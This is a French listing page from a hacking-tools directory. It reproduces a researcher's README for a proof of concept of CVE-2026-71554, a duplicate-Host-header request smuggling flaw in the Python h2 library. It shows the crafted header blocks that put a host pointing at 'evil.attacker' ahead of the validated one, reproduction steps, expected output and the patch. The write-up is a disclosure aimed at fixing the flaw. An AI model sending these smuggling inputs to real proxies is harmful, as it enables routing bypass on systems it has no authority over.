Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
poc-h2-CVE-2026-71554 — PoC pour CVE-2026-71554 - primitive de request smuggling par en-tête Host dupliqué dans h2 (corrigé dans la version 4.4.1) | Kitploit
Outils/GitHubGitHub/sunandm/poc-h2-cve-2026-71554
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests de Sécurité des APISécurité WebSécurité des APIAttaque Adversariale
GitHubsunandm/poc-h2-cve-2026-71554

poc-h2-CVE-2026-71554

PoC pour CVE-2026-71554 - primitive de request smuggling par en-tête Host dupliqué dans h2 (corrigé dans la version 4.4.1)

Voir le dépôt
1il y a 12 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-71554 - h2 Primitive de contrebande de requêtes par en-tête Host dupliqué

Ceci est mon premier CVE. J'ai publié ce PoC pour documenter la découverte et aider les autres à la comprendre et à la reproduire.

CVE : CVE-2026-71554 GHSA : GHSA-6hr6-w5qg-qmwg Affecté : h2 <= 4.4.0 Corrigé : h2 4.4.1 Sévérité : Moyenne (CWE-444, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L = 5.3) NVD : https://nvd.nist.gov/vuln/detail/CVE-2026-71554


Ce que j'ai trouvé

En examinant la logique de validation des en-têtes de h2, j'ai remarqué que _validate_host_authority_header() dans src/h2/utilities.py vérifie que Host et :authority correspondent — mais ne compare que le dernier en-tête Host qu'il voit. Si vous envoyez deux en-têtes Host, h2 utilise le second pour la vérification de correspondance et transmet les deux à l'application sans sourciller.

Fait intéressant, h2 4.4.0 rejette déjà les en-têtes Content-Length dupliqués en levant une ProtocolError. Le même correctif n'a jamais été appliqué à Host. Il y avait même un commentaire TODO dans le code source reconnaissant exactement cette lacune :

root@kitploit:~
# TODO: We should also guard against receiving duplicate Host headers,
#       and against sending duplicate headers.

Cause racine

_validate_host_authority_header() dans src/h2/utilities.py utilise une boucle de type « le dernier gagne » qui enregistre la dernière valeur Host rencontrée et vérifie uniquement que :

  1. Au moins l'un de :authority ou Host est présent
  2. Lorsque les deux sont présents, ils correspondent

Il n'y a aucune vérification du nombre d'en-têtes Host. Chaque en-tête Host est transmis en aval à l'application, quel que soit le nombre d'en-têtes présents.


Scénarios d'attaque

Cas 1 — Deux en-têtes Host, sans :authority

Le client envoie :

root@kitploit:~
:method: GET
:path: /
:scheme: https
host: good.internal
host: evil.attacker

h2 accepte les deux. L'application reçoit les deux en-têtes Host.

La rétrogradation HTTP/1.1 produit :

root@kitploit:~
GET / HTTP/1.1
host: good.internal
host: evil.attacker

La RFC 9112, section 3.2, exige qu'un serveur réponde 400 à toute requête HTTP/1.1 contenant plus d'un en-tête Host. Les backends divergent :

root@kitploit:~
nginx          — rejects with 400
Python stdlib  — accepts, returns FIRST Host on lookup
Werkzeug       — accepts, returns FIRST Host on lookup

Cas 2 — Contrebande furtive (contournement de :authority)

Le client envoie :

root@kitploit:~
:method: GET
:path: /
:scheme: https
:authority: good.internal
host: evil.attacker     <- index 0, first Host (seen by origin)
host: good.internal     <- index 1, last Host (used by h2 validator)

h2 valide : dernier Host (good.internal) == :authority (good.internal) — la vérification passe.

L'application reçoit les deux en-têtes Host. La rétrogradation HTTP/1.1 produit :

root@kitploit:~
GET / HTTP/1.1
host: evil.attacker
host: good.internal

Les backends qui renvoient le premier Host lors d'une recherche par clé unique routent la requête vers evil.attacker alors que h2 croyait avoir validé good.internal. Désynchronisation complète du routage entre ce que h2 a validé et ce que l'origine traite.


Contrôle - En-tête Host unique non concordant correctement rejeté

root@kitploit:~
:method: GET
:path: /
:scheme: https
:authority: good.internal
host: evil.attacker

h2 lève une ProtocolError. Cela confirme que la lacune est spécifique aux en-têtes Host dupliqués.


Ce qui peut être affecté

L'impact dépend de l'architecture de déploiement :

  • Affecté : les proxys inverses ou passerelles API qui acceptent HTTP/2 des clients et rétrogradent en HTTP/1.1 lors du transfert vers les backends, lorsque le backend utilise le premier en-tête Host pour les décisions de routage
  • Backends affectés (testés empiriquement) : Python stdlib http.client, Werkzeug Headers — les deux acceptent les en-têtes Host dupliqués et renvoient la première valeur
  • Backends non affectés : nginx — rejette avec 400 les en-têtes Host dupliqués
  • Déploiements non affectés : HTTP/2 de bout en bout sans rétrogradation HTTP/1.1

Étapes pour reproduire

Prérequis

root@kitploit:~
pip install h2==4.4.0

Exécution

root@kitploit:~
python3 poc_h2_duplicate_host.py

Sortie attendue sur la version vulnérable 4.4.0

root@kitploit:~
CASE 1 - Two Host headers, no :authority (both forwarded)
h2 forwarded Host headers: ['good.internal', 'evil.attacker']
Resulting HTTP/1.1 request:
GET / HTTP/1.1
host: good.internal
host: evil.attacker

CASE 2 - STEALTH: :authority matches LAST Host, first Host smuggled
:authority=['good.internal']  Host(s)=['evil.attacker', 'good.internal']
h2 mismatch check PASSES (:authority == last Host).
Resulting HTTP/1.1 request:
GET / HTTP/1.1
host: evil.attacker
host: good.internal

CONTROL - Single mismatched Host vs :authority (correctly rejected)
[control] SENDER rejected: ProtocolError(...)

Vérifier le correctif sur 4.4.1

root@kitploit:~
pip install h2==4.4.1
python3 poc_h2_duplicate_host.py

Les trois cas lèvent une ProtocolError. Aucun en-tête n'est transmis.


Le correctif

Un compteur ajouté à la boucle existante dans _validate_host_authority_header() :

root@kitploit:~
host_header_count = 0
for header in headers:
    if header[0] == b"host":
        host_header_count += 1
    yield header

if host_header_count > 1:
    raise ProtocolError("Request header block has multiple Host headers.")

Commit : https://github.com/python-hyper/h2/commit/292a40829feefda98c8509dcdbbb4a57af9bd6a6


Crédits

Découvert et signalé par Sunand Mohan (https://github.com/SunandM)

Télécharger l’outil